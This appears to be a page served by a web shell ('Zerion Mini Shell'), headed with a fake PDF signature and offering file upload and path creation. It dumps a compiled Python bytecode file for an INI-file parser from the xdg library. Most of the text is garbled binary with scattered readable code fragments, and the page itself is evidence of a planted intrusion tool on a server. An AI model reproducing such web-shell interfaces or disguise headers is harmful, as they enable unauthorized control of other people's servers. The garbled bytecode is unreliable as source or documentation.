%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/xdg/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/xdg/__pycache__/IniFile.cpython-312.pyc

�

�u�cH5���dZddlZddlZddlZddlZddlmZmZmZm	Z	m
Z
mZmZddl
ZddlmZddlZd�ZGd�d�Zy)z5
Base Class for DesktopEntry, IconTheme and IconData
�N)�ParsingError�DuplicateGroupError�NoGroupError�
NoKeyError�DuplicateKeyError�ValidationError�debug)�uc�H�	|jdd�y#t$rYywxYw)z>Return True if a string consists entirely of ASCII characters.�ascii�strictTF)�encode�UnicodeError)�ss �-/usr/lib/python3/dist-packages/xdg/IniFile.py�is_asciir
s*���	����(�#�������s��	!�!c���eZdZdZdZdZdZdZdd�Zd�Z	dd�Z
d d�Zd�Zd	�Z
dd
�Zd!d�Zd�Zd
�Zd"d�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd#d�Zd#d�Zd�Zd�Zd$d�Zd�Zd�Z dd�Z!d�Z"y)%�IniFile�NFc�J�t�|_|r|j|�yy�N)�dict�content�parse)�self�filenames  r�__init__zIniFile.__init__s���v�����J�J�x� ��c�B�t|j|j�Sr)�cmpr)r�others  r�__cmp__zIniFile.__cmp__#s���4�<�<����/�/rc�&�|j}tjj|�st	d|��	tj|ddd��}|5|D]�}|j�}|s�|ddk(r�|dd	k(rI|jd	�jd
�}tr|j|�rt||��i||<�p	|jdd�\}}	|j�}	tr|j!|�r
t#|||��|	j�||<��	ddd�||_d|_|r&|D]}
|
|vs�|
|_nt	d|dz|��|jj/di�}|j/d|j/dd��|_y#t$r}tr|�Yd}~yd}~wwxYw#t$rt	d
|z|��wxYw#t$t&f$r
t	d|��wxYw#1swY��xYw)zyParse an INI file.
        
        headers -- list of headers the parser will try to select as a default header
        �File not found�r�utf-8�replace)�encoding�errorsNr�#�[�]�=�zInvalid line: z#Parsing error on key, group missingFz[%s]-Header missingz
Desktop EntryzX-GNOME-Gettext-DomainzX-Ubuntu-Gettext-Domain)r�os�path�isfiler�io�open�IOErrorr	�strip�lstrip�rstrip�hasGroupr�split�
ValueError�hasKeyr�
IndexError�UnboundLocalErrorr�tainted�defaultGroup�get�gettext_domain)rr�headersr�fd�e�line�currentGroup�key�value�headers           rrz
IniFile.parse&s6���,�,���w�w�~�~�h�'��/��:�:�		�����3���K�B��	\��
\���z�z�|�����!�W��^���!�W��^�#'�;�;�s�#3�#:�#:�3�#?�L�����|�!<�1�,��I�I�02���-�N�%)�Z�Z��Q�%7�
��U��)�)�+�C�\� �T�[�[��l�%C�"3�C��x�"P�P�9>����G�L�1�#�6�7
\�	\�@!��
�����!�
Q���W�$�(.�D�%��
Q�
#�#8�7�1�:�#E�x�P�P�
�L�L���_�b�1���e�e�$<�
�E�E�+�T�2�4����k�	������		��6&�N�*�+;�d�+B�H�M�M�N��'�(9�:�\�*�+P�RZ�[�[�\��;	\�	\�sT�F.�A3H�G�H�.;G(�)H�.	G	�7G�G	�G%�%H�(H�H�Hc���|s|j}||jvr�||j|vr�|rs|j||�}|jd�s|js|j||}n�tj|j|j||�}ni|j||}nV|strL||jvrt||j��||j|vrt|||j��d}|dk(r|j�}g}	ng}|D]�}|dk(r|j|�}nn|dk(r
	t|�}n\|dk(r
	t|�}nJ|d	k(rt!j"|�}n/|d
k(r*|j%d�\}
}t|
�t|�f}|dk(r	j'|���|}	��	S#t$rd}Y�*wxYw#t$rd}Y�;wxYw)Nr,rT�boolean�integerr�numericg�regex�point�,)r?r�_IniFile__addLocale�endswithrA�gettext�dgettextr	rrr�getList�_IniFile__getBoolean�intr:�float�re�compiler9�append)rrG�group�locale�type�listr
rH�values�result�x�ys            rr@zIniFile.getos�����%�%�E�
�T�\�\�!��t�|�|�E�/B�(B���&�&�s�E�2���<�<��$�D�,?�,?� �L�L��/��4�E�#�,�,�T�-@�-@�$�,�,�u�BU�VY�BZ�[�E����U�+�C�0��������,�&�u�d�m�m�<�<�����U� 3�3�$�S�%����?�?����4�<��\�\�%�(�F��F��W�F��	�E��y� ��)�)�%�0����"����J�E���"� �!�%�L�E�����
�
�5�)������{�{�3�'���1��A���A�����t�|��
�
�e�$���-	�0�
��%"���E���
"� ��E� �s$�
G�G �G�G� G.�-G.c�J�tjd|�rtjd|�}n]tjd|�rtjd|�}n0tjd|�rtjd|�}n|g}|ddk(r|j�|S)Nz	(?<!\\)\;z(?<!\\);z	(?<!\\)\|z(?<!\\),���r)rY�searchr9�pop)r�stringr_s   rrUzIniFile.getList�s|��
�9�9�\�6�*��8�8�K��0�D�
�Y�Y�|�V�
,��8�8�L�&�1�D�
�Y�Y�{�F�
+��8�8�K��0�D��8�D���8�r�>��H�H�J��rc�D�|dk(s
|dk(s|dk(ry|dk(s
|dk(s|dk(ryy)	Nr.�true�TrueTr�false�FalseF�)rrKs  r�__getBooleanzIniFile.__getBoolean�s5���a�<�7�f�,��6�0A��
��\�W��/�7�g�3E��rc��|s|j}tjjD]}|�d|�d�}||j|vs�|cS|S)z3add locale to key according the current lc_messagesr+r,)r?�xdg�Locale�langsr)rrGr\�lang�langkeys     r�__addLocalezIniFile.__addLocale�sR����%�%�E��J�J�$�$�	�D�"%�t�,�G��$�,�,�u�-�-���	�
�
rc�|�g|_g|_tjj	|j
�d|_|j�|jD]~}|j|�|j|D]Y}|j||j|||�|j||dk(s�<|jjd|z��[��d}|dk(s|dk(r|jD]
}|d|zz
}�|dk(s|dk(r|jD]
}|d|zz
}�|rt||j
��y)	z�Validate the contents, raising :class:`~xdg.Exceptions.ValidationError`
        if there is anything amiss.
        
        report can be 'All' / 'Warnings' / 'Errors'
        r.rzValue of Key '%s' is empty�All�Warningsz
- �ErrorsN)
�warningsr)r/r0�splitextr�
fileExtension�checkExtrasr�
checkGroup�checkKeyr[r)r�reportr\rG�msgrEs      r�validatezIniFile.validate�sM����
���� �W�W�-�-�d�m�m�<�Q�?���	
�����\�\�	M�E��O�O�E�"��|�|�E�*�
M���
�
�c�4�<�<��#6�s�#;�U�C��<�<��&�s�+�r�1��M�M�(�(�)E��)K�L�	
M�	M����U�?�f�
�2��
�
�
%���v��}�$��
%��U�?�f��0����
%���v��}�$��
%��!�#�t�}�}�5�5�rc��yrrn�rr\s  rrzIniFile.checkGroup����rc��yrrn)rrGrHr\s    rr�zIniFile.checkKey�r�rc��|dk(r|j|�}n|g}|D]�}|dk(r|j|�}|dk(r�|dk(r|j|�}n[|dk(r|j|�}nD|dk(r|j	|�}n-|dk(r|j|�}n|dk(r|j
|�}d	k(r"|jjd
|�d|�����|dk(s��|jjd
|z���y)NTrh�localestringrKrMrLrNrOr.�'z' is not a valid �zValue of key '%s' is deprecated)
rU�checkString�checkBoolean�checkNumber�checkInteger�
checkRegex�
checkPointr)r[r{)rrGrHr^r_r`�codes       r�
checkValuezIniFile.checkValue�s���4�<��\�\�%�(�F��W�F��	N�E��x���'�'��.���~�%����"��(�(��/����"��'�'��.����"��(�(��/��������u�-��������u�-���q�y����"�"�u�d�#K�L�����
�
�$�$�%F��%L�M�%	Nrc��yrrn�rs rr~zIniFile.checkExtrasr�rc�2�|dk(s|dk(ry|dk(s|dk(syyy)N�1�0r�rjrlr.rn�rrHs  rr�zIniFile.checkBooleans*���S�L�E�S�L���6�/�U�g�%5��&6�/rc�*�	t|�y#YyxYw�Nr.)rXr�s  rr�zIniFile.checkNumber"s��	��%�L��	�����c�*�	t|�y#YyxYwr�)rWr�s  rr�zIniFile.checkInteger)s��	���J��	��r�c�2�tjd|�syy)Nz^[0-9]+,[0-9]+$r.)rY�matchr�s  rr�zIniFile.checkPoint0s���x�x�)�5�1��2rc� �t|�rdSdS)Nrr.)rr�s  rr�zIniFile.checkString4s���U�O�q�*��*rc�>�	tj|�y#YyxYwr�)rYrZr�s  rr�zIniFile.checkRegex7s��	��J�J�u���	��s��c�n�|s|jstdd��|r||_n|j}tjj	|�rntjjtjj	|��s2tjtjj	|��tj|dd��5}|r|jtd��|jr�|jtd�|jz�|j|jj�D]$\}}|jtd�||fz��&|jtd	��|jj�D]�\}}||jk7s�|jtd�|z�|j�D]$\}}|jtd�||fz��&|jtd	����	ddd�|rjtj|�j}|tj ztj"ztj$z}	tj&||	�d
|_y#1swY�}xYw)Nr$r�wr&)r(z#!/usr/bin/env xdg-open
z[%s]
z%s=%s
�
F)rrr/r0�dirname�isdir�makedirsr2r3�writer
r?r�items�stat�st_mode�S_IXUSR�S_IXGRP�S_IXOTH�chmodr>)
rr�trusted�fprGrH�namer\�oldmode�modes
          rr�z
IniFile.write>s�����
�
��/��4�4��$�D�M��}�}�H�
�7�7�?�?�8�$�R�W�W�]�]�2�7�7�?�?�8�;T�-U��K�K�������1�2�
�W�W�X�s�W�
5�	&�������6�7�8�� � �����8��t�'8�'8�8�9�$(�L�L��1B�1B�$C�$I�$I�$K�:�L�S�%��H�H�Q�y�\�S�%�L�8�9�:�����4��!�!%���!3�!3�!5�
&�
��u��4�,�,�,��H�H�Q�x�[�4�/�0�(-���
�>���e�����9���e��!<�=�>��H�H�Q�t�W�%�
&�	&�,��g�g�h�'�/�/�G��T�\�\�)�D�L�L�8�4�<�<�G�D��H�H�X�t�$����7	&�	&�s�C'J+�>A0J+�+J4c�b�|s|j}|dk(rLttjj�dkDr&|dztjjdzdz}	||j
||<||j||�k(|_
y#t$rt||j��wxYw)NTrr+r,)r?�lenrqrrrsr�KeyErrorrrr@r>)rrGrHr\r]s     r�setzIniFile.setgs�����%�%�E��T�>�c�#�*�*�"2�"2�3�a�7���)�c�j�j�.�.�q�1�1�C�7�C�	5�',�D�L�L����$�����#�u�!5�5�����	5��u�d�m�m�4�4�	5�s�!B� B.c��|j|�rtrt||j��yi|j|<d|_y�NT)r8r	rrrr>r�s  r�addGroupzIniFile.addGroupvs>���=�=����)�%����?�?��#%�D�L�L����D�Lrc��||jv}|r|j|=d|_|Strt||j��|Sr�)rr>r	rr)rr\�existeds   r�removeGroupzIniFile.removeGroup~sH���4�<�<�'������U�#��D�L����"�5�$�-�-�8�8��rc���|s|j}	|rkt|j|�D]P}tjd|zt
jjzdz|�s�;||k7s�A|j||=�R|j|j|�}d|_	|S#t$rB}tr2||k(rt||j��t|||j��Yd}~yd}~wwxYw)N�^�$Tr)r?r_rrYr�rqrrrNrgr>r�r	rrr)rrGr\�localesr�rHrDs       r�	removeKeyzIniFile.removeKey�s�����%�%�E�	�� ����e�!4�5�6�D��x�x��c�	�C�J�J�,<�,<� <�s� B�D�I�d�VY�k� �L�L��/��5�6��L�L��'�+�+�C�0�E��D�L��L���	����:�&�u�d�m�m�<�<�$�S�%����?�?���	�s$�AB$�%B$�+8B$�$	C/�-8C*�*C/c�6�|jj�Sr)r�keysr�s r�groupszIniFile.groups�s���|�|� � �"�"rc��||jvSr)rr�s  rr8zIniFile.hasGroup�s������$�$rc�@�|s|j}||j|vSr)r?r)rrGr\s   rr;zIniFile.hasKey�s$����%�%�E��d�l�l�5�)�)�)rc��|jSr)rr�s r�getFileNamezIniFile.getFileName�s���}�}�rr)NFrhFF)rx)rhF)NFr�)#�__name__�
__module__�__qualname__r?r}rrAr>rr"rr@rUrVrQr�rr�r�r~r�r�r�r�r�r�r�r�r�r�r�r�r8r;r�rnrrrrs����L��M��H��N��G�!�
0�F4�R7�v���%6�P
�
�N�4
�����+��'�R
7� ���.#�%�*�rr)�__doc__rYr/r�r2�xdg.Exceptionsrrrrrrr	�
xdg.Localerq�xdg.utilr
rSrrrnrr�<module>r�s=�����#�#�#�����X�Xr

Zerion Mini Shell 1.0